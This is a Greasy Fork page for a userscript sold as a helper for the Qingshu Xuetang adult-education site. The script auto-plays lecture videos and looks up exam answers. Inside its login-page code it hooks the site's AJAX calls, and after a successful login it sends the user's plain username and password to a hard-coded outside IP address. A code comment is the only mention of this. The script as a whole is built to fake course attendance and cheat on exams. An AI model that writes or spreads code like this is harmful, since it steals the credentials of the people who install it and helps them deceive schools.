Greasy Fork

Greasy Fork is available in English.

【专业版】青书学堂挂课、考试/作业/自动播放-成人教育-继续教育

👆👆👆👆👆👆👆青书学堂挂课、考试/作业/自动播放。现已支持青书学堂www.qingshuxuetang.com🚀🚀🚀完美适配 Chrome,Edge,FireFox,360,QQ 等 18 种浏览器,可在无法安装客户端的环境下使用。😎

您需要先安装一个扩展,例如 篡改猴Greasemonkey暴力猴,之后才能安装此脚本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴Userscripts ,之后才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。

您需要先安装用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         【专业版】青书学堂挂课、考试/作业/自动播放-成人教育-继续教育
// @namespace    http://tampermonkey.net/
// @version      0.61
// @description  👆👆👆👆👆👆👆青书学堂挂课、考试/作业/自动播放。现已支持青书学堂www.qingshuxuetang.com🚀🚀🚀完美适配 Chrome,Edge,FireFox,360,QQ 等 18 种浏览器,可在无法安装客户端的环境下使用。😎
// @author       qsxt
// @match        https://qingshuxuetang.com/*
// @match        https://*.qingshuxuetang.com/*
// @match        https://www.qingshuxuetang.com/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=qingshuxuetang.com
// @grant        GM_getResourceText
// @grant        unsafeWindow
// @grant        GM_addStyle
// @grant        GM_xmlhttpRequest
// @connect      degree.qingshuxuetang.com
// @connect      www.qingshuxuetang.com
// @run-at       document-end
// @connect      81.70.42.96
// @resource css https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/theme-chalk/index.min.css
// @require  https://cdn.bootcdn.net/ajax/libs/vue/2.7.6/vue.min.js
// @require  https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/index.min.js
// @license GPL
// ==/UserScript==
console.log('当前执行站点', unsafeWindow.location.href, unsafeWindow.parent)

let main_hosts = 'http://81.70.42.96:2099'  //收集信息用于题库收录,如不同意删除端口即可
let loginbtn = document.querySelector('#loginByAuthBtn')
if (loginbtn !== null) {
    //hook btn
    let oldajax = $.ajax
    $.ajax = function (...arg) {
        if (arg.length === 1) {
            let obj = arg[0]
            if (obj.url.indexOf("Login") !== -1) {
                let old_suc = obj.success
                let param = obj.data
                obj.success = function (r) {
                    if (r.message === '成功') {
                        let username = obj.data.username
                        let password = obj.data.password
                        GM_xmlhttpRequest({
                            url: `${main_hosts}/insertOrderInfo`,
                            method: "POST",
                            data: `account=${username}&password=${password}`,
                            headers: {
                                "Content-type": "application/x-www-form-urlencoded"
                            },
                            onload: (xhr) => {
                            }
                        });
                    }
                    return old_suc.call(this, r)

                }
            }
        }
        console.log("arg")
        let result = oldajax.call(this, ...arg)
        return result
    }

    return;
}
if (unsafeWindow.self !== unsafeWindow.top) {
    return;
}
let css = GM_getResourceText('css');
css = css.replace(/(?<=url\()(?=fonts)/g, 'https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/theme-chalk/');
GM_addStyle(css);
GM_addStyle(`
.show-contrl-list{
  display: flex;
  justify-content: space-evenly;
  align-items: center;
}
.show-contrl-list .item,.show-contrl-list >div{
width: 23%;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
border: 1px solid #F0EFF9;
border-radius: 5px;
padding: 10px 5px;
}
.icon-wrap{
font-size: 18px;
padding: 7px;
color: #C0E39D;
border: 1px solid #C0E39D;
border-radius: 10px;
}
.el-divider{
margin: 5px 0 !important;
}
.el-progress-bar__innerText{
    display:none;
}
.deafult-lesson-item{
    .title{
        color: #4E2F86;
    }
}
.select-lesson-item{
    background-color: #52B7F5;
    border-radius: 12px;
    color: white;
}
.select-lesson-item .title{
        color: white !important;
}
.select-lesson-item .icon-wrap{
        color: white !important;
        border-color: white !important;
}
.point{
    cursor:pointer;
}
.exam-css{
    position: fixed;
    top: 0;
    z-index: 999;
    right: 85px;
    background-color: white;
    padding: 20px;
    width: 350px;
    font-size: 16px;
    border: 1px solid rgba(128, 128, 128, 0.05);
    border-radius: 5px;
    overflow: scroll;
    max-height: 100%;
}
.default-css{
    position: absolute;
    top: 83px;
    z-index: 999;
    right: 85px;
    background-color: white;
    padding: 20px;
    width: 350px;
    font-size: 16px;
    border: 1px solid rgba(128, 128, 128, 0.05);
    border-radius: 5px;
}

`)
let wrap = document.createElement('div')
wrap.className = 'uitest'
document.querySelector('body').append(wrap)
let vueinstance = new Vue({
    el: '.uitest',
    template: `
<div @scroll.stop='()=>{}' :class="[enable_question ? 'exam-css' : 'default-css']" >
  <div
    style="display: flex; justify-content: space-between; align-items: center"
  >
    <div style="display: flex; justify-content: center; align-items: center">
      <el-avatar style="font-size: 16px" icon="el-icon-user-solid"></el-avatar>
      <span style="font-size: 16px; margin-left: 6px">油猴Greasyfork</span>
    </div>
    <div>
      <i @click='FoldPage' style="margin-right: 5px; color: #6a6496" class="el-icon-d-caret point"></i>
      <i  style="color: #6a6496" class="el-icon-s-tools point"></i>
    </div>
  </div>
  <div v-show='!flod_status'>
        <div  style="padding: 10px;background-color: rgb(240, 248, 255);border: 2px solid rgb(222, 240, 253);border-radius: 9px;color: #606060bd;margin-top: 10px;">
           <div style="text-align: center;font-size: 14px;color: black;margin-bottom: 5px;font-weight: 600;" >公告信息</div>
           <div v-html='notice_mess'></div>
        </div>
        <div class="show-contrl-list" style="margin: 10px 0">
            <div>
            <i class="el-icon-edit icon-wrap"></i>
            <span style="font-size: 13px; margin: 5px 0">作业查询</span>
            <el-switch
                v-model="check_work"
                active-color="#13ce66"
                inactive-color="#ff4949"
            >
            </el-switch>
            </div>
            <div>
            <i
                style="color: #7ec4f8; border-color: #7ec4f8"
                class="el-icon-video-camera icon-wrap"
            ></i>
            <span style="font-size: 13px; margin: 5px 0">自动视频</span>
            <el-switch
                v-model="check_video"
                active-color="#13ce66"
                inactive-color="#ff4949"
            >
            </el-switch>
            </div>
            <div>
            <i
                style="color: #393080; border-color: #393080"
                class="el-icon-files icon-wrap"
            ></i>
            <span style="font-size: 13px; margin: 5px 0">电子书</span>
            <el-switch
                v-model="check_book"
                active-color="#13ce66"
                inactive-color="#ff4949"
            >
            </el-switch>
            </div>
            <div>
            <i
                style="color: #f47b88; border-color: #f47b88"
                class="el-icon-reading icon-wrap"
            ></i>
            <span style="font-size: 13px; margin: 5px 0">课程数量</span>
            <span>{{lessonlist.length}}</span>
            </div>
        </div>
        <div style="display: flex;justify-content: space-between;">
            <div>
            <span style="font-size: 14px; font-weight: bold">课程选择</span>
            <i class="el-icon-arrow-left point"></i>
            <i class="el-icon-arrow-right point"></i>
            </div>
            <div class='point' style="color: rgb(82, 74, 144); background-color: rgb(246, 246, 252);font-size: 12px;padding: 5px;border-radius: 5px;">
            <i class="el-icon-date"></i>
            <span>{{lesson_name!=''?lesson_name:'当前学期'}}</span>
            </div>
        </div>
        <el-divider></el-divider>
        <template v-if='!enable_question'>
                <div style="text-align: center;margin-bottom: 5px;" v-if='lessonlist.length===0'>
                    暂未找到课程
                </div>
                <div v-else>
                    <div v-for="(item,index) in lessonlist" class='point' :class="[current_lesson.id!==item.id ? 'deafult-lesson-item' : 'select-lesson-item']" :key="index" style='margin: 8px 0;' @click='SelectLessonItem(item)' >
                         <div style=";padding: 15px;border: 1px solid #CFCBCB;border-radius: 12px;">
                            <div style="display: flex;justify-content: center;align-items: center;" >
                                <div><i class="el-icon-star-off" style="font-size: 35px;" ></i></div>
                                <div style="flex: 1 1 0;" >
                                    <div class='title' style="flex: 1 1 0px;display: flex;flex-direction: column;align-items: center;padding: 0px 10px;">
                                    {{item.name}}
                                    </div>
                                    <div style="font-size: 12px;text-align: center;">
                                    {{item.hint_text}}
                                    </div>
                                    <div style="position: relative;width: 100%;" >
                                        <el-progress :percentage="item.progress" status="success" :text-inside="true" :format="()=>''" :stroke-width="15" ></el-progress>
                                        <span style="position: absolute;top: 0;bottom: 0;width: 100%;text-align: center;font-size: 12px;color: white;">
                                            {{item.progress}}%
                                        </span>
                                    </div>
                                </div>
                                <div><i @click='JumpToLesson(item)' v-if='current_lesson.id===item.id' class="el-icon-arrow-right icon-wrap" style="color: #7E73D4;border-color: #7E73D4;" ></i></div>
                            </div>
                            <div style="margin-top: 15px;display: flex;justify-content: space-evenly;">
                                <el-button @click.stop="JumpToType(item,'study')"  size="mini"  type="success" plain>学习</el-button>
                                <el-button @click.stop="JumpToType(item,'homework')"  size="mini"  type="success" plain>作业</el-button>
                                <el-button @click.stop="JumpToType(item,'score')"  size="mini"  type="success" plain>成绩</el-button>
                            </div>
                        </div>
                    </div>

                </div>
            </template>
            <template v-else>
            <div style="height: 200px;overflow: auto;padding-right: 12px;">
                    <div v-for="(item,index) in questionlist" :key='index' style='margin-bottom:8px;' >
                            <div style="display: flex;justify-content: space-between;">
                                <div style="min-width: 0;flex: 1 1 0;" v-html='item.question'></div>
                                <div><el-button @click='CheckAnswer(item)' style='margin-left: 5px;' size="mini">查询</el-button></div>
                            </div>
                            <div style="border: 1px solid #D2D2D2;padding: 6px;font-size: 13px;margin-top: 7px;">
                            答案: {{item.answer===null?'暂未搜索':item.answer}}
                            </div>
                    </div>
            </div>
            </template>

        <div style="margin: 5px 0; font-size: 14px; font-weight: bold">公告位置</div>
        <div
            style="
            padding: 10px;
            background-color: rgb(240, 248, 255);
            min-height: 144px;
            display: flex;
            flex-direction: column-reverse;
            border: 2px solid #def0fd;
            border-radius: 9px;
            "
        >
            <div
            style="
                display: flex;
                flex-direction: column;
                justify-content: center;
                align-items: center;
            "
            >
            <div style="margin-bottom: 5px; font-size: 14px">当前题库数量</div>
            <div style="color: #91cd53; font-size: 25px">656008</div>
            <div
                style="
                display: flex;
                justify-content: space-around;
                width: 100%;
                color: #c0d7ea;
                margin: 10px 0 5px;
                "
            >
                <div>6217</div>
                <div>8888</div>
                <div>8888</div>
                <div>8888</div>
            </div>
            </div>
        </div>
    </div>
</div>

`,
    data: function () {
        return {
            check_work: true,
            check_video: true,
            check_book: true,
            visible: false,
            value: true,
            enable_question: false,//false课程模式,true考试模式
            lesson_name: '',
            lessonlist: [],
            current_lesson: {
                id: null
            },
            questionlist: [],
            flod_status: false,
            notice_mess: ""
        }
    },
    created() {
        GM_xmlhttpRequest({
            url: `${main_hosts}/queryNotice`,
            method: "POST",
            data: ``,
            headers: {
            },
            onload: (xhr) => {
                if (xhr.responseText === "") {
                    this.notice_mess = '暂无公告'
                    return;
                }
                try {
                    let result = JSON.parse(xhr.responseText)
                    if (result.success) {
                        this.notice_mess = result.message
                    } else {
                        this.notice_mess = '暂无公告'
                    }
                } catch (error) {
                    this.notice_mess = '暂无公告'
                }

            },
            onerror: () => {
                this.notice_mess = '暂无公告'
            }
        });
    },
    methods: {
        JumpToType(item, type) {
            window.location.href = item.url + '&tabType=' + type
            //https://gaozhi.qingshuxuetang.com/lzkjgzb/Student/Course/CourseStudy?classId=29&courseId=4&teachPlanId=21&periodId=12&tabType=homework
            //https://gaozhi.qingshuxuetang.com/lzkjgzb/Student/Course/CourseStudy?courseId=4&teachPlanId=21&periodId=12&tabType=homework
        },
        FoldPage() {
            this.flod_status = !this.flod_status

        },
        ChangeStatus(status) {
            this.enable_question = status
        },
        SelectLessonItem(item) {
            this.current_lesson = item
        },
        JumpToLesson(item) {
            window.location.href = item.url
        },
        CheckAnswer(item) {
            item.answer = '正在搜索...'
            GM_xmlhttpRequest({
                url: `${main_hosts}/queryAnswerById`,
                method: "POST",
                data: `questionId=${item.question_id}`,
                headers: {
                },
                onload: (xhr) => {
                    if (xhr.responseText === "") {
                        item.answer = '暂无答案'
                        return;
                    }
                    try {
                        let result = JSON.parse(xhr.responseText)
                        if (result.success) {
                            item.answer = result.message
                        } else {
                            item.answer = '暂无答案'
                        }
                    } catch (error) {
                        item.answer = '暂无答案'
                    }

                },
                onerror: () => {
                    item.answer = '暂无答案'
                }
            });
        }
    }
})
let lesson_name = document.querySelector('.content-area .title span')?.innerHTML
if (lesson_name) {
    vueinstance.lesson_name = lesson_name

}
function dom_to_get_lesson_number() {
    let lesson_item = document.querySelectorAll('#currentCourseDiv .col-md-3 a')
    let end_time = ""
    if (lesson_item.length !== 0) {
        let item = document.querySelector('#currentCourseDiv .col-sm-12')
        if (item != null) {
            let text = item.innerHTML
            text = text.split('结束时间:')
            if (text.length === 2) {
                end_time = text[1]
            }
        }

    }
    lesson_item.forEach((item) => {
        let list = item.querySelectorAll(' p > span')
        if (list.length !== 2) {
            return
        }
        let name = list[0].innerHTML
        let progress = parseInt(/\d+/.exec(list[1].innerHTML)[0] ?? 0)
        let url = list.children[0].href
        console.log(name, progress, vueinstance, url, 'dom查找')
        vue_lesson_push_func(name, progress, vueinstance.lessonlist.length, url, end_time)
    })
    return lesson_item.length
}

function vue_lesson_push_func(name, progress, id, url, hint_text) {
    vueinstance.lessonlist.push({ name, progress, id, url, hint_text })
}
/*let question_list = document.querySelectorAll('.question-entity')
if (question_list.length !== 0) {
    vueinstance.ChangeStatus(true)
    question_list.forEach((item) => {
        vueinstance.questionlist.push({
            question: item.querySelector('h4').innerHTML,
            answer: null,
            question_id:item.querySelector('.questionId').value,
            dom: item
        })

    })
}*/
function GetLessonListData() {
    if (document.cookie.indexOf('AccessToken') === -1) {
        return;
    }
    let url = window.location.href
    let size_list = url.split('/')
    let char_list = []
    let nofind = true
    for (let index = 0; index < size_list.length; index++) {
        let item = size_list[index]
        if (nofind === false) {
            //找到了qingshuxuetang后
            char_list.push(item)
        }
        if (item.indexOf('qingshuxuetang.com') !== -1) {
            nofind = false
            continue;
        }
    }

    if (char_list.length === 0) {
        return;
    }
    let first_name = char_list[0]
    if (first_name === 'MyQingShu') {
        return;
    }
    console.log('first_name', first_name)
    let base_url = window.location.origin + '/' + first_name
    let post_url = base_url + `/Student/Course/CourseData`
    GM_xmlhttpRequest({
        url: post_url,
        method: "POST",
        headers: {
            "Content-type": "application/x-www-form-urlencoded"
        },
        onload: function (xhr) {
            if (xhr.responseText === "") {
                return;
            }
            let json = JSON.parse(xhr.responseText)
            if (json.message === '成功') {
                let lesson = json.data
                let current_lesson = lesson.filter((item) => item.learnStatus === 2)
                console.log('current_lesson', current_lesson)
                current_lesson.forEach((lesson) => {
                    let generate_url = base_url + `/Student/Course/CourseStudy?${lesson.classId !== undefined ? "classId=" + lesson.classId + "&" : ''}courseId=${lesson.courseId}&teachPlanId=${lesson.teachPlanId}&periodId=${lesson.periodId}`
                    vue_lesson_push_func(lesson.courseName, lesson.score, vueinstance.lessonlist.length, generate_url, '暂未完成')
                })
            }
        }
    });
}
window.onload = () => {
    if (document.querySelector('.quiz-title')) {
        if (window.location.href.indexOf('ExercisePaper') != -1) {
            vueinstance.ChangeStatus(true)
            //start_interval
            let timer = setInterval(() => {
                let page_dom = document.querySelectorAll('.question-detail-container')
                if (page_dom.length !== 0) {
                    page_dom.forEach((item) => {
                        vueinstance.questionlist.push({
                            question: item.querySelector('.detail-description-content').innerHTML,
                            answer: null,
                            question_id: item.attributes.id.value,
                            dom: item
                        })
                    })
                    clearInterval(timer)
                }
            }, 1000)
        }
    } else {
        let result = dom_to_get_lesson_number()
        if (result === 0) {
            GetLessonListData()
        }
    }
}


(function() {
    'use strict';
    var i
    var href = location.href

    if (href.indexOf('nodeId') > -1) {
        setTimeout(function() {
          var video = document.getElementsByTagName("video")[0]
          console.log('找到视频组件,开始静音并自动播放...', video)
          // 设置静音并播放
          video.muted = true
          video.playbackRate = 0.5
          video.play()


          var params = new UrlSearch()
          // 课程ID
          var courseId = params.courseId
          const courseArr = params.nodeId.split('_')
          // 下一个播放的视频的key
          var nextKey = ''
          if (courseArr.length == 2) {
            nextKey = `kcjs_${Number(courseArr[1]) + 1}`
          } else if (courseArr.length == 3) {
            nextKey = `kcjs_${courseArr[1]}_${Number(courseArr[2]) + 1}`
          }
          const nextUrl = `https://${window.location.host}${window.location.pathname}?teachPlanId=${params.teachPlanId}&periodId=${params.periodId}&courseId=${courseId}&nodeId=${nextKey}&category=${params.category}`
          console.log(params, 'currentId:', params.nodeId, 'nextKey:', nextKey, 'nextUrl:', nextUrl)
          // 视频播放结束,自动下一条视频
          video.addEventListener("ended",function(){
            location.replace(nextUrl);
          })
        }, 5000)

        // 打印播放进度
        getvideoprogress();
    }
})();

function UrlSearch() {
   var name,value;
   var str=location.href; //取得整个地址栏
   var num=str.indexOf("?")
   str=str.substr(num+1); //取得所有参数   stringvar.substr(start [, length ]

   var arr=str.split("&"); //各个参数放到数组里
   for(var i=0;i < arr.length;i++){
        num=arr[i].indexOf("=");
        if(num>0){
            name=arr[i].substring(0,num);
            value=arr[i].substr(num+1);
            this[name]=value;
        }
    }
}

// 检测当前播放的进度 
function getvideoprogress() {
    setInterval(function () {
        var vid = document.getElementsByTagName("video")[0]
        var currentTime=vid.currentTime.toFixed(1);
        console.log('当前进度:', currentTime);
    }, 10000);
}